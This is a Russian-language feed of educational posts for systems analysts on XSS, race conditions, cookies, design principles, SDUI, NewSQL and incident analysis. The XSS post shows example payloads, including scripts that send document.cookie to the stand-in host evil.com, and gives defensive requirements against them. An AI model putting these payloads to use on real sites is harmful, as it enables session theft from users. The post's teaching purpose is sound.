🛡 XSS-уязвимость

XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript).
Код выполняется в браузере другого пользователя (жертвы)

➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени


На этапе проектирования требований можно:
⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария)
✅ предотвратить её (чётко указать, какие символы и разметка допустимы)


Как работает XSS

1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля)

2⃣ Вводит туда вредоносную строку, например:  <script>alert('Ваши куки: ' + document.cookie)</script>

3⃣ Приложение сохраняет или сразу выводит эту строку без обработки

5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её

5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы

❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст


Типы XSS

⭕️Хранимая (Stored XSS) — самая опасная

Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу

➡️ Пример
Форма отзывов. Хакер пишет отзыв:

> Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>

Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю

✅ Защита
✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения
✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками)


⭕️Отражённая (Reflected XSS)

Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке.

➡️ Пример
Сайт показывает  поисковый запрос: «Вы искали: запрос». 
Хакер отправляет жертве ссылку: 

https://site.com/search?q=<script>alert(1)</script> 

Жертва кликает ➡️ скрипт выполняется

✅ Защита
В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML.
Даже для сообщений об ошибке


⭕️DOM‑based XSS (без участия сервера)

Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML

➡️ Пример (уязвимый код на странице):

document.getElementById('message').innerHTML = location.hash.substring(1)

Хакерская ссылка: 
https://site.com/<img src=x onerror=alert(1)>

Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код

✅ Защита
В клиентских скриптах не использовать innerHTML с пользовательскими данными,

Применять безопасные методы (textContent, setAttribute)


⭕️Слепая XSS (Blind XSS)

Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора

➡️ Пример
Форма обратной связи. Поле «Имя»:
<script>fetch('https://evil.com?cookie='+document.cookie)</script> 

Сам клиент видит своё имя без проблем (экранирование на публичной части есть)
Но оператор в админ‑панели смотрит все заявки — и там экранирования нет.
Скрипт ворует сессию оператора

✅ Защита
Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние.


📎 Материалы

1. Что такое XSS-атака и как с ней бороться
2. XSS: нападение и защита
3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy
4. Примеры атак XSS и способов их ослабления
5. XSS-атака без секретов: от простого alert до захвата сессии

📚 Книги
Грокаем безопасность веб-приложения - Макдональд Малькольм

#безопасность

➿➿➿➿➿➿➿➿
🧑‍🎓 Больше полезного в базе знаний по системному анализу

🔽 Гонка событий (Race Condition)

Гонка событий — ситуация, при которой результат работы системы зависит от порядка выполнения операций
Если несколько процессов одновременно работают с одним состоянием, итог может быть непредсказуемым

Может возникать в:
🟢микросервисах
🟢распределённых системах
🟢очередях сообщений
🟢асинхронных API
🟢frontend-приложениях
🟢потоковой обработке данных

🍃Сложность гонки событий: проблема проявляется нестабильно
Система может работать корректно, а затем случайно выдать ошибку


Когда возникает

⚪️несколько процессов работают с одним состоянием ( одновременно читают и изменяют)
⚪️хотя бы один процесс изменяет данные
⚪️порядок выполнения не контролируется
⚪️нарушение порядка доставки (события отправляются в одном порядке, а доставляются — в другом)
⚪️отсутствие координации между сервисами (каждый сервис видит только локальное состояние)
⚪️deadlock (несколько транзакций блокируют друг друга)


Типичные признаки

➖«плавающие» баги
➖редкие ошибки
➖невозможность стабильно воспроизвести проблему
➖случайные дубли
➖потеря части данных
➖периодическая рассинхронизация

Причины

🍃сетевые задержки
🍃ретраи
🍃повторная доставка сообщений
🍃независимая работа сервисов
🍃параллельные консьюмеры
🍃различная скорость обработки

Гонка всегда связана с принципом:
❕корректность системы зависит от последовательности событий
Если изменение порядка приводит к разному результату — система подвержена гонке


Backend и микросервисы

Частый источник гонок — параллельные запросы к одному ресурсу

Например:
✨несколько сервисов обновляют один заказ
✨несколько обработчиков меняют баланс
✨несколько консьюмеров читают одну очередь


Базы данных

При использовании транзакций гонка не исчезает

Проблемы:
➖Lost Update (когда изменения одного процесса перезаписываются изменениями другого, и часть данных теряется)
➖dirty read (чтение данных, которые были изменены другой транзакцией, но ещё не зафиксированы )
➖ non-repeatable read (повторное чтение одной и той же записи внутри транзакции возвращает разные значения, потому что другая транзакция изменила данные)
➖перезапись изменений


Брокеры сообщений

Не гарантируют отсутствие гонок
Создают условия, при которых она возникает

Проблемы:
⚪️задвоенные события 🤩 дважды изменится состояние
⚪️доставка не по очереди 🤩 итоговое состояние зависит от порядка
⚪️повторная доставка🤩 перезапишется состояние
⚪️параллельные консьюмеры 🤩 если работают с одим ресурсом, то есть риски гонки


Распределенные системы

В распределённых системах гонка — нормальное состояние среды

Причины:
🟢eventual consistency (изменения не применяются на всех серверах мгновенно)
🟢независимые сервисы
🟢сетевые лаги
🟢разные каналы доставки
🟢репликация


Примеры

Микросервисы с общей БД

➖сервис заказов и сервис оплаты работают с одной таблицей
➖сервис оплаты меняет статус заказа
➖сервис заказов одновременно обновляет адрес доставки

Оба сервиса:
1. читают одну запись
2. меняют локальную копию
3. сохраняют объект полностью.
Последний UPDATE уничтожает изменения другого сервиса

Как решать

✨обновлять только нужные поля
✨использовать оптимистическую блокировку
✨отказаться от общей БД


Event-driven архитектура

Сервис публикует:
➖OrderCreated
➖OrderCancelled

Потребитель получает их в обратном порядке
Клиент сначала получает письмо: «Заказ отменён»
А затем: «Заказ успешно создан»

Как решать

✨партицирование по orderId
✨версионирование событий
✨occurredAt timestamp


📎 Материалы

1. Небезопасная многопоточность или Race Condition
2. Что такое состояние гонки
3. Почему стоит проверять приложения на устойчивость к race condition
4. Разница между Data Race и Race Condition

📚 Книги
1. Высоконагруженные приложения - Мартин Клеппман
2. Микросервисы. Паттерны разработки и рефакторинга - Крис Ричардсон
3. Шаблоны корпоративных приложений - Мартин Фаулер
4. Release it! Проектирование и дизайн ПО для тех, кому не всё равно - Майкл Нейгард

#проектирование

➿➿➿➿➿➿➿➿
🧑‍🎓 Больше полезного в базе знаний по системному анализу

🖥 Cookie-файлы

Cookie — небольшие данные, которые сайт сохраняет в браузере пользователя и использует при последующих запросах

⏩ Cookie — как номерок в гардеробе. Гардеробщик не запоминает лично, а выдает номерок, по которому находит вещи
⏩ Работают схоже: браузер хранит идентификатор, а сервер по нему понимает, кто выполняет запрос

Протокол HTTP — stateless (не хранит состояние). Каждый запрос сам по себе не
знает ничего о предыдущем. Поэтому без cookie серверу сложно понимать:

🟡кто авторизован
🟡что лежит в корзине
🟡какие настройки выбрал пользователь
🟡выполнял ли пользователь действия ранее


Как работают по шагам

1. пользователь открывает сайт
2. сервер отправляет браузеру заголовок Set-Cookie
3. браузер сохраняет данные
4. при следующих запросах браузер автоматически добавляет заголовок Cookie
5. сервер использует полученное значение


Важно:
🟡cookie хранятся на стороне клиента
🟡браузер сам управляет отправкой cookie
🟡cookie привязаны к доменам и правилам доступа
🟡срок хранения может быть ограничен


Жизненный цикл

Создание ➡ сохранение в браузере ➡ использование в запросах ➡ обновление ➡ удаление или истечение срока действия

Cookie могут удаляться:

⭕пользователем вручную
⭕браузером
⭕сервером
⭕после окончания срока действия


Для чего используются

⏩ Авторизация и сессии

После входа сервер выдает идентификатор сессии.
Благодаря этому пользователь не авторизуется заново на каждой странице

⏩ Персонализация

Cookie позволяют сохранять
⭕язык интерфейса
⭕тему оформления
⭕настройки отображения
⭕регион и тд

⏩ Корзины интернет-магазинов

Позволяют хранить связь между пользователем и выбранными товарами

⏩ Аналитика

Для:
⭕подсчета посетителей
⭕отслеживания поведения
⭕измерения конверсий
⭕анализа пользовательских путей

⏩ Реклама и маркетинг

⭕помогают показывать релевантную рекламу
⭕ограничивать частоту показов
⭕строить аудитории

⏩ A/B-тестирование

Позволяют закреплять пользователя за вариантом эксперимента


Виды Cookie

⬆ First-party Cookie (собственные)

Создаются сайтом, который пользователь открыл

Примеры:
⭕авторизация
⭕корзина
⭕пользовательские настройки

⬇Third-party Cookie (сторонние)

Создаются сторонними доменами

Примеры:
⭕рекламные сети
⭕аналитические сервисы
⭕виджеты

Сторонние Cookie ограничивают из-за приватности

✖ Проблемы:
➖межсайтовое отслеживание
➖сбор пользовательских профилей
➖непрозрачность обработки данных


Влияние на интеграции

⏩ SSO (Single Sign-On)

После единого входа пользователь получает cookie сессии

Что учитывать:
📍домены и поддомены должны быть настроены корректно
📍срок жизни cookie влияет на длительность авторизации
📍ограничения SameSite могут нарушить сценарий входа между системами

⏩ API

Браузер может автоматически отправлять cookie вместе с запросами

Что учитывать:
📍корректная настройка CORS
📍для кросс-доменных запросов необходимо учитывать SameSite и Secure
📍часть API вместо cookie использует JWT-токены


📎 Материалы

1. Что такое Cookie и зачем они нужны
2. Ультимативный гайд по HTTP. Cookies и CORS
3. Что такое cookie?
4. Что такое cookie и для чего они нужны
5. Перевод Всё о файлах cookie и их безопасности

#проектирование

➿➿➿➿➿➿➿➿
🧑‍🎓 Больше полезного в базе знаний по системному анализу

Ретроспектива в Agile
Проверенные методы и инновационные подходы

✍️ Автор: Марк Лоффлер
🗓 Год издания: 2020
🔤 Язык: русский
📚 Объём: 176 стр.

Книга представляет систематизированное руководство по проведению Agile-ретроспектив.
Рассматриваются
💙базовые принципы ретроспектив
💙этапы подготовки и проведения
💙а также роль фасилитатора.

Описаны расширенные подходы, включая системные, распределённые и ориентированные на решение ретроспективы, а также альтернативные форматы.

Отдельное внимание уделено типичным ошибкам. Даны практические рекомендации и кейсы для повышения эффективности командной работы.

Книга для скрам-мастеров, agile-коучей и руководителей проектов

🔹 Agile и Waterfall: главное о методологиях разработки ПО

#agile #управление_проектами

✏️ Принципы разработки
KISS, Бритва Оккама, SSOT, DRY, YAGNI, SOLID

Зачем нужны

Инженерные принципы это не строгие правила, а ориентир
Помогают:
🔸 уменьшать стоимость изменений
🔸 снижать количество ошибок
🔸 упрощать сопровождение
🔸 делать требования понятнее
🔸 избегать избыточных решений

💡 Для системного аналитика принципы служат фильтром при сборе требований, позволяют снизить затраты ещё до написания кода


KISS (Keep It Simple, Stupid)

Решение должно быть максимально простым
Чем сложнее система, тем дороже изменения, тестирование и поддержка

KISS не означает примитивные решения
✅ А отказ от ненужного усложнения

Как применять СА

🔵не добавлять лишние сущности и процессы
🔵избегать универсальных решений без необходимости
🔵описывать требования максимально понятно
🔵сокращать количество исключений и специальных сценариев

Пример

❌ Спроектировать универсальный механизм уведомлений с 15 каналами доставки, шаблонизацией и правилами маршрутизации
✔️ Сначала реализовать email и push-уведомления, если нужны бизнесу

❌ Описывать 15 вариантов исключений для одного процесса
✔️ Описать общее правило обработки ошибок (fallback), покрывающее 95 % случае

Признаки нарушения KISS

▪️слишком много сущностей
▪️чрезмерная параметризация
▪️большое количество условий и исключений
▪️ сложность объяснения решения


Бритва Оккама

Не надо умножать сущности без необходимости
Если два решения равнозначно покрывают требования, выбирается то, у которого меньше сущностей и допущений

Отличие от KISS

🔸KISS говорит «делай просто»
🔸Бритва Оккама — «выбирай простое среди равных»

Примеры для СА

🟠Есть проблема производительности.
Необязательно сразу проектировать новый сервис или менять архитектуру. Возможно, достаточно оптимизировать запрос или
индекс

🟠При выборе интеграции: если данные можно получить через REST-агрегацию, не стоит предлагать внедрение ESB или CDC только из соображений «это современно».


SSOT (Single Source of Truth)

Для каждой информации должен существовать один источник истины

Если одинаковые данные существуют в нескольких местах, со временем они начинают расходиться

Где применяется

🔵требования
🔵схемы данных
🔵справочники
🔵бизнес-правила
🔵интеграционные контракты

Примеры в СА

🔵создавать единый глоссарий; в тексте требований использовать ссылки на термины, а не их определения
🔵справочные данные (списки валют, стран) выносить в общий раздел и ссылаться на него
🔵маппинг полей между системами хранить в едином файле (Swagger/OpenAPI или отдельной таблице), а не дублировать в сценариях

❌ Пример нарушения: правило «комиссия для клиентов из ЕС = 20 %» прописано в ТЗ, в UI-макете, в описании интеграции и в тест-кейсах.
При изменении ставки до 22 % три источника не обновляются → баг на релизе


DRY (Don’t Repeat Yourself)

Не повторять знания, логику или описание без необходимости

Дублирование приводит к изменениям во многих местах одновременно:
🟠одинаковые бизнес-правила
🟠повторяющиеся требования
🟠копирование схем данных
🟠одинаковая логика в нескольких процессах и тд

Примеры для СА

🔸одинаковые структуры API вручную описываются в нескольких документах
Лучше использовать единое описание и переиспользовать его
🔸в Use Cases применять include-сценарии для повторяющихся процедур (например, аутентификация описывается один раз)

Когда дублирование допустимо
Ради производительности (денормализация БД) или изоляции микросервисов (копирование DTO), но такое решение должно быть явно зафиксировано как исключение

❗️DRY не должен создавать избыточную сложность

Отличие DRY от SSOT

🔸SSOT — про данные: одна сущность (справочник, атрибут, значение) хранится в одном месте.
«где лежит истина?» (хранение)

🔸DRY — про логику: один алгоритм, правило или описание процесса не повторяется в разных местах.
«где выполняется действие?» (поведение)


YAGNI (You Aren’t Gonna Need It)

Не создавать функциональность заранее
Если функция не нужна сейчас — вероятно, её не нужно делать сейчас

Примеры для СА

🔵 вместо проектирования 20 возможных статусов процесса «на будущее» лучше реализовать только реально используемые статусы.
🔵на этапе уточнения задавать вопрос: «Если не сделать это сейчас, сможет ли бизнес работать?» Если да — требование переносится в бэклог.

❌ Типичная ошибка: путать гибкость системы и проектирование гипотетических сценариев


SOLID

SOLID — набор принципов проектирования, направленных на создание изменяемых и поддерживаемых решений

Интерпретация для СА

🔸SRP (Single Responsibility)

Требование должно иметь одну причину для изменения. Не следует смешивать в одном разделе расчёт зарплаты и отправку уведомлений — их нужно разделять

🔸 OCP (Open/Closed)

В требованиях новый сценарий должен дополнять, а не переписывать старый.
Вместо «если тип A, то скидка 10 %» лучше описать механизм правил, где для типа A задаётся правило, а для типа B можно добавить новое правило

🔸 LSP (Liskov Substitution)

Если в требованиях есть родительская роль («Клиент»), то её подтип («VIP-клиент») не должен нарушать предусловия системы (например, не требовать обязательный номер телефона, если у VIP его нет)

🔸 ISP (Interface Segregation)

Лучше иметь несколько специализированных эндпоинтов, чем один универсальный с множеством обязательных полей

🔸 DIP (Dependency Inversion)

Требования к модулям верхнего уровня не должны зависеть от деталей нижнего уровня.
Вместо «сохранять в таблицу Oracle INSERT'ом» следует писать «система сохраняет данные» — абстрагироваться от реализации

❗️SOLID помогает управлять сложностью, но избыточное применение может привести к переусложнению


📎 Материалы

1. Принципы для разработки: KISS, DRY, YAGNI, BDUF, SOLID, APO и бритва Оккама
2. Принципы разработки в системном анализе
3. 5 принципов читаемого кода: KISS, YAGNI, DRY, BDUF и Бритва Оккама
4. SOLID, DRY, KISS, YAGNI и др. принципы разработки, пугающие новичка в IT

#проектирование

➿➿➿➿➿➿➿➿➿➿

🧑‍🎓 Больше полезного в базе знаний по системному анализу

📊 Сравнение Баз данных и Хранилищ данных


▫️База данных – оперативное хранилище, где содержится "текущее состояние" бизнес-процессов: активные заказы, остатки на складе, профили пользователей и тд
▫️ OLTP (Online Transaction Processing) — обработка транзакций онлайн, способ эксплуатации этой базы

💙Хранилище данных (DWH)— информационная система, в которой хранятся данные из разных источников. Используется для анализа, составления отчетов и интеграции данных транзакций.
💙OLAP (Online Analytical Processing) —  способ доступа и анализа этих данных


🔹 Наши посты

▫️Основные понятия баз данных
▫️Нормальные формы баз данных
▫️Типы связей в БД. Нормализация
▫️Денормализация в БД
▫️Колоночные БД, Cassandra vs PostreSQL
▫️Требования ACID: Краткий обзор
▫️Масштабирование БД. Партиционирование, шардирование и репликация
▫️Требования ACID: Краткий обзор

💙Data Warehouse (DWH)
💙OLTP и OLAP

#инфраструктура #бд

➿➿➿➿➿➿➿➿➿➿

🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

🔼 Server Driven UI (SDUI)

Server Driven UI (SDUI) — архитектурный подход, при котором сервер определяет не только данные, но и структуру пользовательского интерфейса (какие компоненты, в каком порядке и с какими параметрами отрисовать на клиенте)

🍃В обычном приложении клиент «знает», как показать экран
🍃В SDUI клиент превращается в «движок рендеринга» — он просто отрисовывает то, что пришло с сервера в виде декларативного описания (обычно JSON)

Подход также называют BDUI (Backend-Driven UI)


⭕️В традиционной (client-driven) модели сервер отдаёт только данные, а клиент решает, как их показать:

Сервер ➡️ отправляет данные ({"price": 1990, "currency": "RUB"})
Клиент ➡️ знает, как отобразить эти данные на конкретной платформе

🟠В SDUI сервер отдаёт описание интерфейса:

Сервер ➡️ отправляет компоненты и их свойства ({"type": "price_label", "props": {"text": "1 990 ₽"}})
Клиент ➡️ по описанию собирает экран из готовых нативных компонентов

❗️Ключевое отличие: логика «что и где показать» переезжает с клиента на сервер


Как работает

Система состоит из трёх частей:

1⃣ UI-кит (компонентная база) — набор реализованных на каждой платформе нативных компонентов (кнопка, карточка, баннер, список). Это «общий язык» между сервером и клиентом.

2⃣ Движок рендеринга — клиентский механизм, который по описанию из JSON собирает экран: находит нужный компонент в UI-ките и передаёт ему свойства.

3⃣ Контракт (директивы) — описание экрана, которое сервер отдаёт клиенту.


Типовой поток

1. На сервере формируется описание экрана (какие компоненты, порядок, свойства, действия).

2. Клиент запрашивает конфигурацию и получает JSON

3. Движок рендеринга разбирает JSON, по type находит компоненты в реестре и отрисовывает их

4. Пользователь взаимодействует (например, нажимает кнопку) — клиент выполняет действие (action), пришедшее вместе с компонентом

5. Нужно поменять экран — правка конфигурации на сервере, при следующем открытии приложения пользователи видят новый UI без обновления из стора


Принципы SDUI

⭕️ Начинать с экрана, а не с данных. API проектируется под то, что нужно показать, а не под структуру БД (demand-driven подход).
⭕️ Минимум логики на клиенте. Любой if/else про «что показать» — кандидат на переезд на сервер. Иначе логика дублируется на каждой платформе.
⭕️ Отдавать продуктную информацию, а не доменные данные. Вместо price: 1990 + currency сервер сразу отдаёт готовую строку "1 990 ₽". Форматирование, локализация, скругления — на сервере.
⭕️ Единая дизайн-система. Все клиенты используют общий UI-кит, тогда серверная инструкция «отрисуй primary-кнопку» даст одинаковый результат везде.
⭕️ Внедрять инкрементально. Не переписывать всё приложение сразу, а начать с одного экрана или компонента (например, баннера на главной).


Плюсы и минусы

✅ мгновенные обновления UI — без релизов в сторах и ожидания обновления у пользователей
✅ кроссплатформенность из коробки — один JSON рендерится на iOS, Android, Web
✅ простой A/B-тестинг и персонализация — разный UI разным сегментам одним изменением на сервере
✅ единообразие платформ — все клиенты синхронны, расхождений почти нет
✅ снижение нагрузки на мобильную разработку — фронт не верстает каждый экран с нуля

➖ без интернета UI не загрузится; нужны кэширование и фолбэки, иначе пустые экраны
➖ сложность старта — нужен UI-кит, движок рендеринга и серверная часть под это
➖ двойная поддержка компонентов — компоненты живут и на клиенте (реализация), и на сервере (описание)
➖сложнее отладка — труднее понять, почему экран выглядит именно так (собрался динамически)
➖ риск «зашить» бизнес-логику в UI — границы между слоями легко размыть


Где используется

Когда много платформ, а интерфейс меняется часто и под разные сегменты пользователей:

🟠 Travel- и маркетплейс-платформы — быстрые итерации UI в разделах с динамическим контентом
🟠 соцсети и стриминговые сервисы — мгновенный rollout изменений и экспериментов
🟠 e-commerce и маркетплейсы — разные раскладки витрин для разных продавцов (например, блок «Бестселлеры» только для крупных магазинов)
🟠когда нужно обновлять интерфейс с сервера, не зависеть от сторов


📎 Материалы

1. Чем полезен Server Driven UI
2. Яндекс выпускает DivKit — фреймворк для server-driven UI с открытым кодом
3. Server Driven UI в Альфа-Банке
4. Server-Driven UI архитектура: server-driven vs content-driven
5. Как работает Server-Driven UI и зачем он фронтендеру

#архитектура

➿➿➿➿➿➿➿➿➿➿

🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

🖥 NewSQL

NewSQL — класс реляционных СУБД, который совмещает привычный SQL и строгие ACID -транзакции классических баз (с горизонтальной масштабируемостью и производительностью, характерными для NoSQL)

Попытка убрать главный компромисс хранения данных:
➖ классические реляционные БД надёжны и согласованы, но плохо масштабируются горизонтально
➖ NoSQL отлично масштабируется, но часто жертвует строгой согласованностью
✅ NewSQL пытается дать и то и другое одновременно


Зачем нужен

🔸 сохранить совместимость с SQL
🔸 масштабироваться горизонтально. Нагрузка распределяется по нескольким узлам кластера, а не наращивается мощность одного сервера
🔸 не отказываться от строгой согласованности. В отличие от многих NoSQL-решений с конечной согласованностью, NewSQL держит ACID даже при распределении данных по машинам и дата-центрам


Как работает

⚡️ Главный вызов NewSQL — удержать ACID, когда данные разнесены по нескольким машинам.

Под капотом транзакция проходит несколько этапов:

1️⃣ SQL-слой принимает запрос. Узел-координатор парсит SQL, строит план выполнения и определяет, на каких шардах лежат затронутые строки
* Шард — диапазон строк таблицы, вынесенный на отдельную группу узлов; сами таблицы заранее разбиты на такие диапазоны по ключу шардирования

2️⃣ Каждый шард — реплицированная группа. Данные одного шарда хранятся на нескольких узлах (обычно 3–5), между которыми работает алгоритм консенсуса (чаще всего Raft)

🔹один узел — лидер, остальные — ведомые
🔹запись считается подтверждённой, когда её приняло большинство (кворум).
🔹обеспечивается строгая согласованность без единого «главного» сервера на всю базу.

3️⃣ Транзакция в пределах одного шарда заканчивается на шаге 2: лидер коммитит запись после получения кворума

4️⃣ Транзакция через несколько шардов идёт по протоколу распределённого коммита — двухфазному коммиту (2PC):
🔹координатор сначала спрашивает все затронутые шарды «готовы?»,
🔹когда все ответили «да», приказывает зафиксировать изменения — иначе откатывает везде. Атомарность сохранена.

5️⃣ Параллельные транзакции не мешают друг другу благодаря MVCC — каждая работает со своим снимком данных на момент старта, читающие не блокируют пишущих.

6️⃣ Глобальное время для согласованности между дата-центрами
Например, чтобы упорядочить транзакции по всему миру, Google Spanner использует TrueTime — атомные часы и GPS-приёмники в каждом ЦОД с известной погрешностью.
Перед коммитом транзакция ждёт, пока эта неопределённость не станет нулевой

▶️ Плата за распределённость — дополнительные раунды обмена между узлами: чем больше шардов и реплик проходит транзакция, тем выше задержка
👉 NewSQL выгоден там, где нужна именно горизонтальная масштабируемость, а не предельная скорость одиночного сервера


Классификация NewSQL-систем

Выделяют два подхода к появлению NewSQL-систем:

1️⃣ Созданные с нуля
Опираются на оперативную память (in-memory) и быстрые накопители (SSD) для предельной скорости доступа
Например, VoltDB (in-memory NewSQL-СУБД для OLTP-нагрузок реального времени),


2️⃣ Модификация существующих движков
Расширяют зрелые СУБД (например, MySQL/MariaDB) новыми движками хранения и оптимизациями
Например, Percona Server (оптимизированный форк MySQL),

▶️ Отдельная ветка — связующее ПО (middleware), которое делает прозрачное шардирование над обычными одноузловыми СУБД: Apache ShardingSphere, MaxScale.
Это не полноценный NewSQL: такие слои маршрутизируют запросы, но не дают распределённого ACID


Примеры СУБД

🔹YDB (Яндекс) — open-source распределённая реляционная SQL-СУБД
Горизонтальная масштабируемость, строгая согласованность и ACID-транзакции, совмещение OLTP- и OLAP-нагрузок; язык запросов — YQL (диалект SQL)
🔹CockroachDB — распределённая SQL-база, совместимая с диалектом PostgreSQL, с упором на географическое распределение и живучесть
🔹Tarantool (экосистема VK) — in-memory СУБД с хранимыми процедурами на Lua, синхронной репликацией и автоматическими выборами лидера. Не классический NewSQL, а смежное решение для высоконагруженных сценариев: очереди, кэши, мастер-хранилища с высокой пропускной способностью


Когда применять

😫 высоконагруженные OLTP-системы, где критична строгая согласованность данных (финтех, биллинг, обработка платежей)
😫 географически распределённые системы. Когда данные и пользователи размазаны по дата-центрам и регионам, а согласованность всё равно нужна
😫 когда вертикальное масштабирование классической реляционной БД упёрлось в потолок, но переходить на NoSQL с конечной согласованностью нельзя по требованиям бизнеса.


Когда НЕ стоит использовать

➖ небольшие проекты с предсказуемой нагрузкой. Классической реляционной БД (MySQL, PostgreSQL) хватит
➖ неструктурированные и слабоструктурированные данные. Соцсети, логи, данные датчиков, вложенные документы — для NoSQL (документные, ключ-значение, графовые БД)


Плюсы и минусы

➕ горизонтальная масштабируемость без отказа от строгой согласованности и ACID
➕ привычный SQL и совместимость с реляционными инструментами
➕ отказоустойчивость и высокая доступность за счёт распределённой архитектуры и репликации
➕ подходит для систем с большим потоком параллельных транзакций

➖ сложность настройки, обслуживания и диагностики неполадок по сравнению с классическими реляционными БД
➖ ограниченная переносимость между решениями: разные NewSQL используют разные диалекты SQL и архитектуры, миграция между ними не всегда простая
➖ выше задержка на запись из-за раундов согласования между узлами (консенсус, распределённый коммит)


📎 Материалы

1. Кратко про NewSQL
2. Как выбрать NewSQL-СУБД для вашей компании
3. NewSQL: SQL никуда не уходит
4. NewSQL — новый виток в эволюции BigData
5. Сравнение производительности YDB, CockroachDB и YugabyteDB на бенчмарке YCSB
6. Разбираемся в типах баз данных

📚 Книги

1. Высоконагруженные приложения. Программирование, масштабирование, поддержка — Мартин Клеппман

#бд #sql
➿➿➿➿➿➿➿➿➿➿

🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

❓ ICAM (Incident Cause Analysis Method)

ICAM (Incident Cause Analysis Method) — метод разбора инцидентов
💚 ищет системные причины, а не останавливается на ошибке конкретного человека
💚 по итогам разбора формулируют меры, чтобы инцидент не повторился

💚 Ключевой вопрос метода — не «кто виноват?», а «почему система это допустила?»
💚 Подходит для ИТ-инцидентов: сбоев систем, киберинцидентов, отказов бизнес-процессов


Зачем нужен

❣ выводит разбор за пределы «человеческой ошибки»: наказание исполнителя не предотвращает следующий инцидент, а изменение системы — предотвращает
❣ выявляет скрытые системные проблемы, существовавшие задолго до инцидента
❣ даёт корректирующие действия, которые меняют барьеры защиты и организационные условия, а не симптомы
❣ создаёт общий язык для подразделений: категории факторов понятны всем


Когда применять

✨серьёзные инциденты: существенный ущерб, повреждения, риск для людей или бизнеса
✨повторяющиеся инциденты, когда предыдущие разборы «на глаз» не помогли
✨ситуации, где простой анализ вывел на системную проблему, которую надо разбирать глубже
✨сложные инциденты с участием нескольких подразделений


Как работает

🧀 В основе метода — модель «швейцарского сыра»:

Защита системы состоит из нескольких слоёв-барьеров, и в каждом есть слабые места — «отверстия»
Инцидент происходит, когда отверстия выстраиваются в одну линию и угроза проходит насквозь.

Отсюда два типа причин:

💠 Активные отказы: действия и ошибки, которые привели к событию
💠 Латентные условия: скрытые системные проблемы организации, которые существовали до инцидента

Причины разбираются по факторам:

➡ отсутствующие или несработавшие барьеры: контроли, которые должны были предотвратить или смягчить инцидент, но не справились
➡ действия людей и команд: что сделали или не сделали вовлечённые люди — включая ошибки и нарушения
➡ условия задачи и рабочей среды: состояние оборудования, нехватка времени, нагрузка, факторы среды, сбои коммуникации
➡ организационные факторы: управленческие решения, распределение ресурсов

Иногда выделяют пятую группу — человеческие факторы: усталость, стресс, ситуационную осведомлённость.


Как работает по шагам:

1⃣ Немедленное реагирование: локализовать инцидент, защитить людей и окружающую среду

2⃣ Сбор доказательств: физические, документальные и свидетельские — документы, логи, интервью. Доказательства быстро теряют качество, поэтому сбор начинается в течение часов; сам анализ — после стабилизации сервиса

3⃣ Хронология: восстановить последовательность событий и условий, в которых они происходили

4⃣ Анализ барьеров: какие контроли должны были предотвратить инцидент, где они отказали или отсутствовали

5⃣ Анализ действий и условий: что делали вовлечённые люди и в каких условиях — задачи, рабочая среда — они работали

6⃣ Анализ организационных факторов: какие решения, политика и культура допустили такие условия

7⃣ Рекомендации и отчёт: сформулировать корректирующие действия по принципу SMART — конкретные, измеримые, достижимые, релевантные, ограниченные по времени — и внести их в отчёт расследования

Команда расследования должна быть независимой


Пример

Ситуация: в финансовой компании произошёл сбой платформы — выставление счетов задержалось на две недели, компания понесла потери

Разбор по ICAM выявит:

💚 несработавший барьер: плановое обслуживание платформы было назначено внахлёст с критическими бизнес-операциями
💚 действия людей: инженеры неверно интерпретировали инструкции по перезагрузке системы
💚 латентные условия: реестр рисков устарел и не отражал ИТ-зависимости бизнес-процессов
💚 организационные факторы: ИТ-отдел работал изолированно, интеграция с бизнес-операциями была слабой

Итог: перестроили планирование между отделами, усилили управление подрядчиками, руководителям внедрили дашборд, который в реальном времени показывает состояние ИТ-систем.

💚 Все выводы — про изменение системы, а не про поиск виноватых.


📎 Материалы

1. Метод ICAM (Incident Cause Analysis Method)
2. Контрольный список шаблона метода анализа причин инцидента (ICAM)
3. Модель швейцарского сыра
4. Постмортем без наказаний: культура разбора ошибок, которая реально улучшает качество проектов
5. Инцидент-менеджмент с нуля: практический гайд для растущих команд

📚 Книги

1. Безопасные и надежные системы. Лучшие практики проектирования, внедрения и обслуживания как в Google — Хизер Адкинс, Бетси Бейер и др.

#инфраструктура

➿➿➿➿➿➿➿➿➿➿

🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

Как облегчить работу ИТ-аналитика уже сейчас — без долгосрочных перестроек процессов?

Обсудим на IT-analyst Meetup от Сбера! В программе — прикладные доклады:

— Как эффективнее использовать возможности мозга
— Какие навыки развивать аналитику и как выстроить план роста
— SDD на практике: подводные камни внедрения и новые зоны ответственности аналитика

📆 29 сентября
📍 Офис Сбера (Кутузовский пр-т, 32) и трансляция онлайн

Выбирайте удобный формат и регистрируйтесь по ссылке

🔼AMQP, MQTT и STOMP: протоколы обмена сообщениями

AMQP, MQTT и STOMP — независимые протоколы прикладного уровня
Приложения используют их, чтобы общаться с брокером сообщений поверх TCP

